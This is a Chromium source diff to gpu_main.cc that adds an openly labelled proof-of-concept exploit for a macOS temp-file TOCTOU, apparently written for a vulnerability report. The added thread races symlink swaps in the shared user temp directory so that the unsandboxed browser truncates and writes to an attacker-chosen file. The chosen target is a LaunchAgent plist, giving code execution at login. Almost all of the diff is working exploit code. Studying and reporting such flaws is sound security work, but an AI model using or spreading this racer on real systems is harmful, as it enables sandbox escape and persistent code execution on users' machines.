diff --git a/content/gpu/gpu_main.cc b/content/gpu/gpu_main.cc index 0000000000..1111111111 100644 --- a/content/gpu/gpu_main.cc +++ b/content/gpu/gpu_main.cc @@ -418,6 +418,79 @@ /*will_trace_thread_restart=*/false); } +#if BUILDFLAG(IS_MAC) + // --------------------------------------------------------------------------- + // POC: Compromised-GPU symlink racer for the TemporaryFileGetter TOCTOU. + // + // gpu.sb:124-128 grants this process file-read* + file-write-create + + // file-write-unlink on (subpath (param darwin-user-temp-dir)) -- the SAME + // directory the unsandboxed browser uses for base::CreateTemporaryFile(). + // + // The browser's TemporaryFileGetterHelper does mkstemp() (fd dropped) then + // re-open by path with O_CREAT|O_TRUNC and no O_NOFOLLOW. This thread races + // a symlink swap into that window so the browser truncates and returns a + // writable fd to an attacker-chosen file. The file_util utility then writes + // the attacker's ZIP-entry bytes through that fd. + // --------------------------------------------------------------------------- + { + static std::thread* g_poc_racer = []() -> std::thread* { + char tmp[PATH_MAX] = {}; + // Same call the browser makes in sandbox_parameters_mac.mm to compute + // darwin-user-temp-dir; both processes see the same path. + if (confstr(_CS_DARWIN_USER_TEMP_DIR, tmp, sizeof(tmp)) == 0) { + return nullptr; + } + std::string watch_dir(tmp); + // Target: a LaunchAgent plist == user-level code execution at next + // login. Any browser-writable path works; this one demonstrates impact. + std::string home = getenv("HOME") ? getenv("HOME") : ""; + std::string target = + home + "/Library/LaunchAgents/com.poc.tempfile-toctou.plist"; + fprintf(stderr, + "[POC-GPU] racer starting: watch=%s target=%s\n", + watch_dir.c_str(), target.c_str()); + return new std::thread([watch_dir, target]() { + // Match the browser's mkstemp pattern: + // "..XXXXXX" (file_util_posix.cc:869-879) + // For Chromium: ".org.chromium.Chromium." prefix. + // For Chrome: ".com.google.Chrome." prefix. + for (;;) { + DIR* d = opendir(watch_dir.c_str()); + if (!d) { + usleep(100); + continue; + } + struct dirent* e; + while ((e = readdir(d))) { + if (e->d_name[0] != '.' || strlen(e->d_name) < 8) { + continue; + } + // Only swap regular files (the mkstemp output), not our own + // already-placed symlinks. + std::string full = watch_dir; + if (full.back() != '/') full += '/'; + full += e->d_name; + struct stat st; + if (lstat(full.c_str(), &st) != 0 || !S_ISREG(st.st_mode)) { + continue; + } + // file-write-unlink + file-write-create on the temp-dir subpath: + if (unlink(full.c_str()) == 0 && + symlink(target.c_str(), full.c_str()) == 0) { + fprintf(stderr, "[POC-GPU] swapped %s -> %s\n", + full.c_str(), target.c_str()); + } + } + closedir(d); + } + }); + }(); + (void)g_poc_racer; + } +#endif // BUILDFLAG(IS_MAC) + GetContentClient()->SetGpuInfo(gpu_init->gpu_info()); base::ThreadType io_thread_type = base::ThreadType::kPresentation; diff --git a/content/gpu/gpu_main.cc b/content/gpu/gpu_main.cc index 0000000000..2222222222 100644 --- a/content/gpu/gpu_main.cc +++ b/content/gpu/gpu_main.cc @@ -16,6 +16,14 @@ #include #include +#if BUILDFLAG(IS_MAC) +#include +#include +#include +#include +#include +#endif + #include "base/base_paths.h" #include "base/clang_profiling_buildflags.h" #include "base/debug/dump_without_crashing.h"